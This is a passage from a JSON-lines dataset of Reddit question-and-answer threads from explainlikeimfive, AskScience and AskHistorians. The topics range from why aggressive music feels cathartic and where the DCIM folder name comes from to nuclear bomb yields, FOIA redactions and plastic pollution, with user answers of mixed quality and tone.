feeling!", "In my experience, people that listen to death metal and other types of extremely aggressive music are usually the most quiet, calm and thoughtful people. People that listen to top 40 pop are usually cunts.", "[This article](_URL_1_)\nfrom Psychology Today defines \"extreme music\" as music that is \"chaotic, loud, powerful and [has] emotional vocals that contained themes of anger, anxiety, depression, social isolation, and loneliness.\" \n\nIt explains that extreme music has different effects on people depending on their mental state. People who are in a stable, comfortable position will find extreme music uncomfortable or disturbing, while someone who is going through a period of anger, anxiety, or depression will find it soothing. The article explains that extreme music \"provided participants with an outlet to help process their emotions in a healthy manner.\"\n\nThe [Psychology Today article](_URL_0_) cited by u/Fixedentropy explains four reasons why people who are sad listen to sad music. It seems safe to assume, just based on logic and my own experience, that those are the same or very similar reasons for why angry music is calming to someone who is angry, anxious, or depressed.\n\nThose reasons are:\n\n1) Connection. You feel the same thing as the artist did at some point. That makes it seem more normal and manageable.\n\n2) Message. That artist got through it, and went on to succeed, and in fact used it to further their success.\n\n3) High aesthetic value. Music you can relate to gives you a much more appealing distraction from the negatives in real life than music that wouldn't \"ring true\" to you at that time.\n\n4) Memory trigger. The article points out that using music in this way is actually *not* helpful in elevating your mood.", "Like it's already been said, shared experience is powerful. Even a toddler throwing a tantrum seeks comfort and relation. We all feel a need to be \"seen\" or understood. And when you hear a song that relates to your experience, it makes you feel less isolated and more understood in that experience", "I listen to a lot of metal and rock, and I experience the opposite when listening to some \"pop music\" or similar songs. I feel like some music on the radio is just too slow or has lyrics that are reeeeeeally depressing. Mainsteam radio is not good for me, there is a swedish band called Kent that is widely popular, but I just get depressed listening to their songs. \n\nI really need aggressive music unless I want to feel depressed. \n\nThis answer might not be ELI5, but it's hard doing an answer that's appropriate for 5 year olds.", "My personal experience: I had a period of about 3 years of my life where the hardest job I've ever had let me listen metal the entire shift. I found the tension between having to coordinate and keep my composure while guitar riffs are ripping in my ear helped me become a much better worker, and now any time I listen to the playlist I get super amped.\n\nI also kinda wonder if the rapidly shifting tone and build ups/break downs in metal kind of spool people up and release them, like the moments before a drop in dub step or the massive sweeping bits in a classical piece.", "Experiencing the aggression through music instead of through feeling.  Currently listening to \"Blacklist\" - Exodus.  It's like free therapy.", "I personally think the catharsis come from the fact that someone out there was able to convey a feeling and put it into music, in the hopes that you understand it one day.\n\n... and you actually understood that feeling.", "Heavy music often makes me feel like my emotions are understood, like I am mentally venting.", "Board-certified music therapist here. There is a technique music therapists use called the iso principle. It involves meeting the person where they\u2019re at, using music, and gradually shifting the music to help shift their mood or state. For example, if a client is angry or frustrated, I\u2019d come in with some heavy metal or hard rock, or maybe we\u2019d bang on some big drums together, before gradually shifting the energy level. The main concept here is validation. When you\u2019re angry or frustrated, aggressive music feels cathartic because it validates how you feel. It meets you where you\u2019re at.", "I get the same thing. I listen to Rammstein's *Du Hast* hella. It even feels weird because I feel like a badass listening to it yet still know I struggle to even make conversation.", "This is strange because I do not feel that sensations when listening to that type of music.", "There have been a lot of research done on this. I have also written a couple of research papers on this in school. Pretty much the speed of your heart has a direct correlation with the speed of the music, ie. slower lower music will slow your heart down and faster music will speed it up. Chords and chord progressions have different tensions and releases which can release different hormones in the body. This is why most \"sad\" music uses minor keys, the minor keys affects your brain and body differently than the major keys.", "It's funny because I LOVE listening to sad music. It's what I listen to 80% of the time. It just help release those emotions I think."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=gPtd6gVgKo8&amp"], [], ["https://www.psychologytoday.com/ca/blog/why-music-moves-us/201409/4-reasons-we-listen-sad-music-when-were-sad"], [], ["https://en.wikipedia.org/wiki/Mozart\\_effect", "https://en.wikipedia.org/wiki/Mozart_effect"], [], [], ["https://www.psychologytoday.com/ca/blog/why-music-moves-us/201409/4-reasons-we-listen-sad-music-when-were-sad", "https://www.psychologytoday.com/us/blog/teen-angst/201509/the-therapeutic-benefits-extreme-music"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1y2upm", "title": "Is there any truth to the story that most of what we know about how electricity kills people is from nazi concentration camp experiments?", "selftext": "In one of my university courses we learned about electrical safety. Things like that many amps will kill you, the difference between how high frequency AC and DC affects the human body etc. Also things like one in X thousand people is a lot more resistant to electric shock than normal people. I remember that the fact was given either in a book or my professor (can't remember cause it was more than 10 years ago) which kinda stuck with me. It was said that most of these facts are known thanks to experiments done in concentration camps. I checked in the previous posts on this subjects regarding nazi scientific experiments but couldn't find any mention of this. If that's true I wonder why I didn't see it mentioned somewhere, cause it seems significant enough.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1y2upm/is_there_any_truth_to_the_story_that_most_of_what/", "answers": {"a_id": ["cfgwity", "cfh50aw", "cfha72n"], "score": [9, 6, 7], "text": ["While it's difficult to prove a negative, I've never seen electricity referenced among the Nazi experiments, and I can't find any now.  While I can find reference to Nazis using electricity, it's only as a method of torture, not as an experiment.", "A lot of the early research (primarily animal) on the effects of electricity was carried out by Thomas Edison's labs. His nominal purpose was to show New York -- at the time, in the market for a new way of executing people that was supposedly more humane than hanging -- that electrocution was a viable method of execution. His more vital purpose from a business perspective was to associate AC with death, and thus prevent Westinghouse's AC power system -- on which he wouldn't receive any patent royalties -- didn't take off. Edison's research was done in the 1880s. Executions by electrocution were being done from 1890 in the United States.\n\n_URL_0_\n\nPerhaps the Nazis did some experiments on electrocution, but I find it hard to believe that we'd know *much* less about it if they hadn't, since by the 1940s they would have been doing research on a phenomenon that had been researched -- and even had had people dying of electrocution is highly controlled, highly observable circumstances -- for 50 years.", "I think you may be confusing this with the Nazi hypothermia experiments. These were considered an important source of information about how long a person can survive in different temperature waters, (useful to sailors and whatnot) but some have suggested that the studies were poorly done and that the data is useless. cf _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.pbs.org/tesla/ll/ll_warcur.html"], ["http://www.nejm.org/doi/pdf/10.1056/NEJM199005173222006"]]}
{"q_id": "5vktb2", "title": "where did the folder name \"dcim\" come from for the names of the folders made by digital cameras?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vktb2/eli5_where_did_the_folder_name_dcim_come_from_for/", "answers": {"a_id": ["de2u658", "de2u9ii", "de2uggl"], "score": [5, 151, 21], "text": ["i'm not sure about 100XPBH, but DCIM means digital camera images. the 100XPBH could have something to do with the type of camera.", "DCIM stands for (D)igital (C)amera (Im)ages. It's the name for the file folder digital cameras should store images, specified by the Japan Electronics and Information Technology Industries Association, which created the book of standards for digital camera file systems (called the Design rule for Camera File system).\n\nThe DCIM folder is supposed to be the top folder. Each camera is supposed to have subfolders that start with three numbers and then up to five letters for the name of the manufacturer. So an iPhone might save pictures in DCIM/100APPLE. In your example, I'm guessing XPBH is an abbreviation for the camera maker. This is done so that you can keep images taken on different cameras separated in different folders within the DCIM directory.\n", "It stands for Digital Camera IMages.\n\nIt is part of the Design rule for Camera File system (DCF), which defines a standardize way for cameras to access memory cards.\n\nDirectories have the format 999XXXXX, and most device models will use a preferred directory name.  Files within the directory use the format XXXX9999, which again might be specific to the device."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1oz63s", "title": "why is liberalism and left-leaning correlated with education?", "selftext": "I'm not saying that all people who have higher educations (college and beyond) are liberal, democrat, or left-wing. However, there is definitely an apparent correlation.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1oz63s/eli5_why_is_liberalism_and_leftleaning_correlated/", "answers": {"a_id": ["ccx34rz", "ccx40yu", "ccx42vn", "ccx476u", "ccx47gy", "ccx47vq", "ccx6eha", "ccx73wi", "ccx80h0", "ccx8463", "ccxmy5b"], "score": [11, 4, 2, 4, 7, 8, 24, 3, 2, 4, 2], "text": ["Many on the right believe that people higher education institutions favor those with liberal viewpoints  (if you are liberal then you do well at college).  \n\nMany on the left believe that education leads to liberal viewpoints (if you do well at college then you become a liberal).", "Education used to be a commodity--luxury, more accurately--afforded to the upper class. Education was something the children of lords or successful merchants or otherwise the landed gentry only had time for--the vast majority of people didn't have the time to learn to read and write because they had to toil in the fields to feed themselves.  \n\nAs such, an education up until about 1850 was geared to what the rich elite would find useful: how to rule, manage your money, how to make more money, how to conduct warfare (most of the leaders of armies were aristocracy) and so forth. Only when the Industrial Revolution occurred and all those people toiling in the fields flocked to the cities to work in factories did they start having extra time on their hands. Eventually a movement--a liberal one, mind you--occurred to \"industrialize\" education and apply it to the masses. This was seen as a necessity in a changing society in which an educated mass of people was necessary to retain technical skills to make society function. Thus, education around 1850 became a \"liberal\" endeavor.   \n\nTl;dr: Education used to be a conservative endeavor throughout all of history until about 1850. ", "I've always thought it was analogous to urban vs rural with political ideology. This is just based on US politics, I'm not sure about elsewhere, but cities tend to be liberal and rural areas tend to be conservative. The basics of this, I think, is that in cities people come into contact with people who are different from themselves - different belief systems, different backgrounds, different races, ethnicities, and religions, etc - much more so than in rural areas.\n\nBecause of all this diversity, people are forced to take into account other people's perspectives more than in rural areas, and simply this causes people to be more liberal. Thinking about other people, their troubles, their values, leads to more openness (I'm sure I'm betraying my bias pretty hard here!)\n\nEducation works the same way. Being exposed to alternative ways of thinking, believing, being make people more open, and being more open is the opposite of conservativism which inherently wants to keep things the same as they were or were perceived to be.\n\nThis all has to do with the core liberal/conservative divide not to particular policies. People can be passionate about any particular policy and have that policy pull them to one side or the other regardless of any other issue. \n\n", "The educational process creates a more open mind.  It allows for sifting of conflicting information, dialog, and exposure to a broader cultural experience.  There is also an underlying philosophy of cultural humanism\nin the educational process [which of course drives conservatives crazy]\n\nI also think there is a suspension of critical thinking in a lot of the conservative population.  The script is handed to them in all of the typical conservative channels...Rushbo, Fundamentalist Christianity, Fox News...\nIt is much easier to accept the dogma, rather than apply reason to it.  It also creates zenophobia, and a them vs us mentality.  This also creates 'enemies' out of one's own countrymen.  ", "It really depends on the major. On the whole, your business majors are probably going to be more conservative than say, your gender studies majors. That aside, teachers and professors do tend to lean left and it's not unusual to pick up political views similar to those you spend time with. ", "One big reason may be that people with college and graduate degrees tend to have to move to cities in order to find degree-appropriate work.  After all, most office jobs require at least a bachelor's degree.  Densely populated urban areas tend to be more liberal.\n\nThere are a lot of theories as to why this may be the case.  Some believe that living in an environment where you are in close regular contact with large amounts of people tends to foster a liberal outlook.  Some credit the \"Curley Effect\", which says that people who benefit the most from redistributive policies tend to become ecnomically dependent and hence Democratic supporters.  Or it could simply be that we all tend to adopt the politics of our friends over time.", "I was raised conservatively in a very small farming community, and I considered myself a conservative when I left for college. In college I studied political science and economics, and it quickly became apparent that the method of governance espoused by conservatives was unsustainable. They claim to protect individual liberty, but they want to be involved with medical decisions. They claim to protect freedom of religion, but they tend to think of \"religion\" and \"christianity\" as the same thing. They cling to economic theories that have been proven disastrous while denying the efficacy of economic theories that have been proven effective. Basically, the more facts I learned about the world, the more liberal I became. I didn't become liberal because I went to college, I became liberal because I got an education. The transformation would have been identical if I had studied economics, politics, and history on my own without ever having gone to college. (btw, I didn't go to a \"liberal\" university. I went to Kansas State, which is considered to be a pretty conservative school. I wasn't indoctrinated, I was educated.)", "Liberals want to change things to make them better.\n\nConservatives want to keep them the same so they don't get worse.\n\nEducation is about learning things and better ways of doing things, and tends to fit in better with liberal ideals.", "Loaded question.  There actually is no correlation.  People with college educations are fairly evenly split.", "I went from conservative to liberal back to conservative.  Taxes are a cockblock towards getting all the cool things I wanted as a kid.", "My hat:\n\nIt's pretty easy to see, when you're educated and paying attention, that the GOP doesn't really care much for people. They only care about business. They cynically use key issues like abortion to wedge people into thinking you MUST vote for me or you are for baby murder. Just don't pay attention to me dismantling your safety net and literally taking food out of your mouth and money out of your pocket.\n\nConservatives have slowly, carefully and methodically debased the American population and made us believe that we are no longer worth anything. \n\nConservatives have preached a dark gospel, that everything that happens to you is your own choice.\n\nConservatives have first taken a system where you CAN exceed, made us believe that it would last forever, then destroyed it.\n\nNow, a poor person is poor because they are lazy. Not because walmart came in and fucked their community up. Not because their safety net is gone so they MUST put up with every abuse a company throws at them. Not because they have no choice.. only because they aren't working hard enough.\n\nAmerica is a place where people routinely work too much, for too little. We are TOTALLY OK with CEOs making tens of millions in a company where thousands and thousands make minimum wage.\n\nAmerica is a place where we tell hard working fast food employees that they are GREEDY. \n\nGREEDY.\n\nGREEDY for wanting to be paid a fair wage. \n\nThis is literally all the results of conservativism.\n\nOnce you get educated, you learn this. You either don't care about others and remain conservative, or you become liberal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "8pv5w9", "title": "Can a cloud travel all the way round the earth?", "selftext": "This was posed by my daughter and I don't know but we wondered if a cloud could travel all the way round the world and remain intact, even if it expands, shrinks, merges with other clouds or breaks off. Not really sure how you define a cloud and identify it but is it possible?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8pv5w9/can_a_cloud_travel_all_the_way_round_the_earth/", "answers": {"a_id": ["e0gpg31"], "score": [3], "text": ["I'm certainly not a meteorologist, but I don't believe so. The lifespan of a cloud can last up to around a day, (depending on the cloud) and that's on the longer side. However if you consider a storm eye a cloud there is a storm eye on Saturn that has encircled the planet, and it occurs every 30 some odd years I believe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cp1bo5", "title": "why is the government allowed to redact information in their foia requests? isn't this against the whole concept of \"freedom of information\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cp1bo5/eli5_why_is_the_government_allowed_to_redact/", "answers": {"a_id": ["ewmiwm6", "ewmiwop", "ewml433", "ewn4xt6", "ewncvtc"], "score": [11, 15, 7, 3, 2], "text": ["That's the idea, sure, but they also have a responsibility or right to protect or conceal certain information. Classified content, names of certain people like spies or undercover personnel, and more can all be legally withheld for various reasons. Freedom of information doesn't quite mean complete access to the information, even under the law that allows the requests.", "_URL_0_\n\n >  Federal agencies are required to disclose any information requested under the FOIA **unless it falls under one of nine exemptions which protect interests such as personal privacy, national security, and law enforcement.**\n\nSome of the exemptions are rather interesting too like:\n\n > Protects geological and geophysical information and data, including maps, concerning wells.", "How would you like it if someone requested FOI about themselves, but had some personal info about you in their file, would you be happy for your personal info being released to him just because it happened to be on a page in his file?", "The main idea in the Freedom of Information Act is to define what kind of information *should* be free to citizens and how they can request it. The act did not simply declare that ALL information is free to everyone. \n\nThat's probably the right call. Should I be able to walk into the Social Security Administration and walk out with every American's Social Security Number? Of course not. At the same time, you could justifiably believe that any given agency is redacting too much information or doing so for the wrong reasons. As in everything, there's an ideal level of freedom of information that's difficult to find and even harder to enforce.", "Personal information such as a person's home address, bank account, etc. are not privy to the act. Even government workers are entitled to personal privacy. \n\nAny information that pertains to active criminal investigations are exempt. Releasing such information can compromise witnesses, and give criminals the opportunity to eradicate evidence, can compromise undercover officers, etc. \n\nAny information that pertains to national security is exempt as well. These are things like nuclear bomb designs, locations of spies and soldier deployments, tactical plans that are in place to respond to specific kinds of threats, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.foia.gov/about.html"], [], [], []]}
{"q_id": "6a9rwq", "title": "How do birds avoid concussions considering the massive g forces they can experience while in flight?", "selftext": "How do birds avoid concussions considering the massive g forces they must withstand while in flight?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6a9rwq/how_do_birds_avoid_concussions_considering_the/", "answers": {"a_id": ["dhduion"], "score": [2], "text": ["You may find [this](_URL_0_) article interesting, it is specific to woodpeckers but not all of these evolutionary adaptations are specific to just that type of bird."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://sciencebasedlife.wordpress.com/2011/03/22/exploring-the-g-force-why-woodpeckers-dont-get-concussions/"]]}
{"q_id": "1wlu02", "title": "compared to the atomic bombings in hiroshima and nagasaki during wwll, how powerful are atomic bombs now?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wlu02/eli5_compared_to_the_atomic_bombings_in_hiroshima/", "answers": {"a_id": ["cf36wks", "cf36ygg", "cf37djd", "cf3ail7"], "score": [6, 3, 11, 3], "text": ["This [site](_URL_0_) will give you an idea.", "Little Boy was equivalent to about 15kt of TNT, Fat Man 21.\n\nThe USSR has tested bombs upwards of 57,000 kt.\n\nAnswer: Anywhere between 1 and 4000 times bigger.", "In the years immediately after World War II, you could roughly generalize by saying that the US and USSR first worked to make bombs as big as they could go, and then focused more on making them very compact. \n\nIn the \"big as they could go\" category, the USA deployed bombs that went as high as 25 megatons, and the USSR set off a bomb that was around 50 megatons but could be scaled up to 100 megatons if they wanted to. A megaton is a million tons of TNT equivalent. The Hiroshima bomb was around 15 kilotons (thousand tons of TNT equivalent) and the Nagasaki bomb was 20 kilotons. \n\n100 megatons isn't any kind of fixed limit. The US looked into the idea of bombs even bigger than that, into the gigaton (thousands of megatons) range. But building a bomb with that much yield means it gets very, very heavy. At their best the US developed bombs that could get 6 kilotons of energy out of every kilogram of bomb weight. So that means that an ideal 100 megaton bomb would weigh something like 17,000 kg, which is pretty heavy but will still fit in a heavy bomber. (The Nagasaki bomb weighed 4,700 kg by comparison. As an aside, the 50 Mt bomb that the Soviets made weighed 27,000 kg, which tells you that it was not a particularly efficient design. The heaviest US bomb ever deployed was 19,000 kg.) But a 1,000 megaton bomb would weigh 170,000 kg \u2014 that's too big to put on a plane, too big to put on a missile, so why bother, even if it is technical feasible to make it? (Which it is.)\n\nBut it's not really about maximum size. In the 1960s-1970s the game became about putting clusters of relatively powerful bombs onto the tips of missiles, missiles that could even fit inside submarines. These bombs, which are more like what we rely upon today, are in the range of 100-400 kilotons. So they are \"only\" 10X to 20X more powerful or so than the Nagasaki/Hiroshima bombs. However they are about the size of a trash can and don't weigh too much (by bomb standards \u2014 these are still too heavy for a person to lift). These advanced hydrogen bombs are around 1 kiloton per kilogram of weight, which is about the best you can get when you try to make them very light. \n\n[I made this chart not too long ago](_URL_0_) which plots the historical US nuclear arsenal in terms of yields and weights, color coded by date and size-coded by quantity produced. It can give you a bit of a sense of how the bombs developed over time, and why this issue of yield-to-weight is more important than just \"how powerful\" they can be. It's not about making the biggest bomb, it's making the bomb that will best obliterate your target, and that's a more complicated equation. ", "The bombs of today do not have a fixed yield; it is adjustable within a scale, according to that it will use varying amount of tritium to boost the fission explosion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nuclearsecrecy.com/nukemap/"], [], ["http://blog.nuclearsecrecy.com/wp-content/uploads/2013/12/yield-to-weight.png"], []]}
{"q_id": "cuwj29", "title": "why do horses and cows never share the same pasture or enclosure?", "selftext": "It seems to me it should not pose a problem since both are herbivores and so I guess would leave each other alone.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cuwj29/eli5_why_do_horses_and_cows_never_share_the_same/", "answers": {"a_id": ["exzo9g3", "exzqr8z", "exzs3v0", "ey29yip"], "score": [59, 8, 3, 2], "text": ["Horses don't graze in quite the same way that cows do, in general cows just bite the top of grass, horses eat all of the grass except that which is close to manure which horses avoid eating near. In addition some diseases can spread from cattle to horses and some medication given to cows in their feed can be deadly to horses.", "Cows are pretty indiscriminate about what they eat.  They're hardy and can thrive on a range of food quality.  Horses, not so much.  They have more sensitive digestion, pickier nutrition needs, and are generally a lot more... delicate.  Cows can live quite happily on land that horses cannot.  They're also raised for different purposes. There may not be a ton of crossover in the people who raise cattle and the people who raise horses.", "There may be several reasons based on the type of pasture and other local conditions. Generally different types of animals shy away from each other and keep separate. It is not easy for a horse to be accepted into the herd of cows. This can cause issues in the enclosure as there may be uneven use. In addition you tend to use horses and cows differently and therefore might want them at different pastures. For example it is common for horses to be closer to the farm so they can be easier to work with on a daily basis but the cows can go weeks without supervision at times and may therefore use big pastures far away. However during times of high maintenance you might move the cows closer. Then you run into the issue of how to manage the cows with horses running around as well.\n\nThere is however times when horses and cows would share pastures. But the pastures they share is usually huge as they will be left to their own and because horses and cows keeps to themselves you usually do not see them at the same time. A more common sight is a bull and a horse sharing a pasture big enough for them two. Or even a ram in the pasture as well. When there is no herd of similar animals they do tend to stay more together. Having them share a bigger pasture together instead of splitting it in two or more pastures saves the farmer some work and ensures a more even wear on the pasture. This can be done in order to \"park\" the animals for the summer.", "Corn can be devastating for a horse to eat but makes up a lot of the grains someone will feed to cattle, this is mostly for the enclosure side but I have seen pastures with grain provided at times."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "e232gi", "title": "why is better to clean glass with newspapers vs paper towels?", "selftext": "Growing up I could remember my grandmother always wanted her windows and mirrors cleaned with windex and her old newspapers. Why are newspapers more superior over paper towels?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e232gi/eli5_why_is_better_to_clean_glass_with_newspapers/", "answers": {"a_id": ["f8t6gj6", "f8tfslz", "f8umdz2"], "score": [41, 16, 2], "text": ["The fibers in newspaper are denser and do not break off and leave lint like paper towels tend to.", "It's not anymore.\n\nThe ink in classic printed mediums used a waxy ink, it was good for polishing the glass despite the dark pigment.\n\nModern print media uses a different ink that either doesn't come off easy or comes off but stains your windows.", "Newspapers don\u2019t work well for me, I worked at a restaurant that used coffee filters (new, not used) that worked pretty well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1v7pbt", "title": "How is 100 percent daily value measured?", "selftext": "I was drinking a smoothie blend drink and noticed it had 1,500% of my daily value of Vitamin C. What is daily value based off of/how is it measured? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1v7pbt/how_is_100_percent_daily_value_measured/", "answers": {"a_id": ["ceq1s7i"], "score": [2], "text": ["Daily values of food/drinks are based around a 2,000 calorie/day diet (most nutrition labels will say this). I guess scientists and doctors determine how much of each nutrient you need.\n\nFor example, let's say you need 50g of Vitamin C (not the real value, probably) based on a 2,000 calorie diet. If you smoothie had 1,500% of that daily value, there were 750g of Vitamin C in it (50g * 1500%/100%).\n\nLet's say, though, you have a 4,000 calorie diet that you need to maintain for the extensive energy you burn each day. This would mean that your daily value of Vitamin C would be 100g, not 50g. Therefore, that smoothie would have 750% of the recommended daily value of Vitamin C."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "albzyn", "title": "AskScience AMA Series: We're Chris Joyce, a science correspondent for NPR, and Rebecca Davis, a senior producer with NPR's science desk. Ask us anything about plastic pollution!", "selftext": "We've been taking a [closer look at plastics and the plastic waste that's showing up all over the world](_URL_3_). Global plastic production has grown to 420 million tons in 2015, and some plastics will last for centuries or even longer. NPR most recently published a story looking at [efforts in the Philippines to hold major brands accountable](_URL_5_) for the plastic waste from their products and [another story profiling two teenage sisters from Indonesia](_URL_2_) who've been campaigning to ban plastic bags.\n\n[Here we are](_URL_6_) ready to go at 1 PM (ET, 17 UT)! Follow [Chris](_URL_1_) and [Rebecca](_URL_0_) or the [NPR Science desk](_URL_4_) on Twitter, and ask us anything!\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/albzyn/askscience_ama_series_were_chris_joyce_a_science/", "answers": {"a_id": ["efcqtld", "efcqvfv", "efcrloi", "efcro2x", "efcs1pf", "efcs6an", "efcsryj", "efctbxm", "efcticp", "efctjn6", "efcu7c7", "efcv3um", "efcy3jn", "efcygk7", "efcyxtf", "efcz5sd", "efczv3o", "efczvcx", "efd0avv", "efd1c7s", "efd2u5n", "efd2wmw", "efd3s1c", "efd42d6", "efd46tb", "efd77gk", "efd8m7z", "efd8osz", "efd9gjs", "efddttc", "efdqwbi", "efdr15n", "efduzob", "eferf2o", "efmgoi5", "eg1tbu0"], "score": [21, 66, 16, 3, 2, 3, 7, 4, 2, 7, 26, 2, 4, 17, 4, 24, 7, 8, 4, 5, 3, 2, 2, 11, 4, 7, 5, 2, 2, 2, 2, 6, 2, 2, 2, 2], "text": ["Hi there, I work with carbon sequestration and carbon stocks, particularly in the realm of blue carbon ecosystems (mangroves, seagrass and saltmarsh ecosystems) and while there has been no studies done with plastic pollution so far, I reckon that plastics in the sediments are being included in the total carbon storage capabilities of an ecosystem, thereby overestimating its contribution to the mitigation of climate change, since the plastics would not easily remineralise into CO2, it would not need the protection offered by burial in the sediment. [There has already been work done on this in the field of black/pyrogenic carbon from the incomplete combustion of fossil fuels in the Southeast Asian region](_URL_0_), but those studies are but one of a few in a very young field. What are your thoughts on this, especially given that microplastics seem so pervasive in all environments?", "What alternatives to plastics can be mass produced on the scale plastics are produced? Can plastics be reverted into a previous compound more suitable to ethical standards? And what strides are being made to clean up plastic pollution? ", "Why have there been no serious efforts to completely ban glitter?  It\u2019s far more insidious than plastic straws. You can never really clean it up and unlike straws there\u2019s no way to recover it for reuse or recycling.\n\nEDIT: I should add that I work at commercial screen printing business and even our industrial solvents are incapable of completely removing glitter from our screens. Thankfully our customers rarely ever require the use of glitter inks. ", "Do you agree that the \"ban polythene\" mentality is impractical considering that it's much easier to recycle it?", "Hi and thanks for joining us!\n\nDo you feel the large media networks have given proper attention to plastic pollution? \n\nHow might a regular person go about getting better coverage of the problem?", "I read a story that if we took all of the landfills in the United States and combined them it would actually be a comparatively miniscule amount (like a fraction of the size of Rhode Island of space). How does plastic pollution stack up on a global scale compared to that?", "Given the recent ventures to physically clean the plastic out of the oceans, what is the best thing to do with it once it is returned to shore? Is there a better solution than dumping it in a landfill?", "What is being done to curb china and india and africa\u2019s plastic pollution?  They are responsible for the vast majority of it.", "Thanks for doing this AMA I have several question regarding plastic.\n\n1. for what reason the community movement is going in direction to ban plastic instead of recycling? I have heard of biodegradeable plastic is there any particular reason it should not be used relating back to ban plastic policy?\n2. I have heard several argument on the Internet that said Plastic is expensive. how true is this?\n3. In regards to plastic pollution , how severe is it in affecting environment and how can this affect human live?", "Hi, and thanks for doing this AMA. I've got two questions primarily:\n\n1. Given how plastics have invaded just about every area of our lives, how do we minimise the amount of plastic we use? Do we have viable, bio-degradable, and cheap alternatives available at the moment? And if we do, how do we facilitate mass-adoption on a global scale, including in developing countries where environmental pollution isn't really the first thing on the agenda?\n\n2. Even if we do, hypothetically, make an instant shift to a more eco-friendly material, what do we do with the millions of tonnes of plastic waste that's already polluting our land and oceans? Are there any practical solutions to the problem at this moment?", "From an environmental perspective, am I better to put my plastics to recycle with the risk that they end up in rivers in Asia after many travels or just to burn them (I have an open fire in the house and we are sufficiently rural that there are no pollution controls on us).", "What's is the impact vs. benefit to bottled water concerning areas the receive it due to hazardous contamination of drinkable sources? \n\nIE: Flint, Tsunami wash outs, African nations with no wells or anything else, disaster zones (nuclear in nature), flood and or earthquake related hardships (no reliable uncontaminated plumbing/water source). ", "How do manufacturing byproducts compare to single-use plastics or plastic packaging in terms of overall environmental impact? ", "Given that a small number of countries (/rivers) are responsible for the vast majority of ocean plastic pollution, what global political efforts are being made to improve the situation, and are they making progress? Is progress quantified and tracked at all?", "How do you, as a responsible science journalist, contribute to or combat the drive for sensationalism in the media, which directly feeds into public mistrust of science and scientists?", "How much of an effect does California\u2019s new plastic straw law have on plastic pollution in the oceans? I heard that plastic from Asia makes up the bulk of plastic waste in the oceans. Is this true? What can we do to limit plastic getting into the oceans?", "What proportion of plastic waste is bio-degradable by the newly discovered plastic eating fungi such as  Aspergillus tubingensis or bacteria such as *Ideonella sakaiensis?*", "Why are plastic straws being targeted now as plastic-enemy #1?  Is it really the most disruptive plastic pollution, or did it just become a fixation for people after seeing the viral photos of a turtle with a straw in its nose?", "Is there a truly recyclable plastic?", "What\u2019s your thoughts on microorganisms that are capable of digesting some types of plastics? Can they help with the pollution, or will it just lead to a spreed of bacteria that cause harm to plastics that is needed (degradation of plastics before the plastic is expired/ sent to recycle)? \n\nEdit: source - \u201cA bacterium that degrades and assimilates poly(ethylene terephthalate)\u201d by S Yoshida et al.", "During my morning commute I've noticed that about once a week there is a science segment on the morning news.  It normally seems to be about some sort of interesting recent academic study.  I cannot tell you how many times the segment intros with something like \"Researchers previously thought \\_\\_\\_, but a new study....\" or \"This goes against the general consensus among scientists\"...point being, there seem to be a lot of segments where some new research either contradicts or upends previously research and/or general scientific consensus.  In a political climate where perhaps the most pressing issues include climate change, abortion (with fetal development a major aspect of that debate), and others, do you think media reporting similar to the above contributes to scientific skepticism? If so, what needs to be done to avoid this such that the average listener doesn't develop the long term impression that scientific finding is merely temporary pending further research that disproves/refutes it.", "Recycling plastic seems to not be very economic since no one seems to want it.  Could you provide any insight into what those economics are?  What level of carbon price would make recycling more attractive for businesses?\n\nAlso, I've read about various efforts to reprocess plastic waste into fuel.  Do any of these schemes seem promising compared with traditional recycling?", "With China\u2019s National Sword in effect, how do we as a nation become less independent on other countries accepting our recyclable materials to recycle? \n\nWe\u2019ve been taught the 3 Rs - Reduce, Reuse, Recycle - however, we tend to heavily rely on the third R (recycle) and blindly believe that everything we put in the blue recycling container gets magically recycled and made into a new product (wishful recycling). How do we get the public to think to Reduce first, Reuse second, and Recycle third as the final alternative?\n\nHow can we wean off of plastics, plastic packaging, single use plastics, etc? And how do we educate the public about making better choices and demanding better from manufacturers who generate the pollution in the first place? ", "Why isn't more attention given to the fact that [over 90% of the plastic pollution in the ocean comes from 8 rivers in Asia and 2 rivers in Africa](_URL_0_)?", "People attack plastic straws a lot and I have seem more and more people bringing metal ones when they dine out, but wouldn't the energy used in the processes to make that one stainless steel straw be ultimately worse for the environment? I understand it cuts down on plastic, but couldn't the pollution from making the stainless one be worse?\n\nSorry if this is a little off topic, and before this gets down-voted to the underworld, I avoid using straws altogether.", "\"Fleece\".\n\nI remember being excited to learn that recycled plastics were in use for making man-made fleece. \n\nNow I hear that they are HUGE leachers of microplastics, especially when laundered.   Yet they are 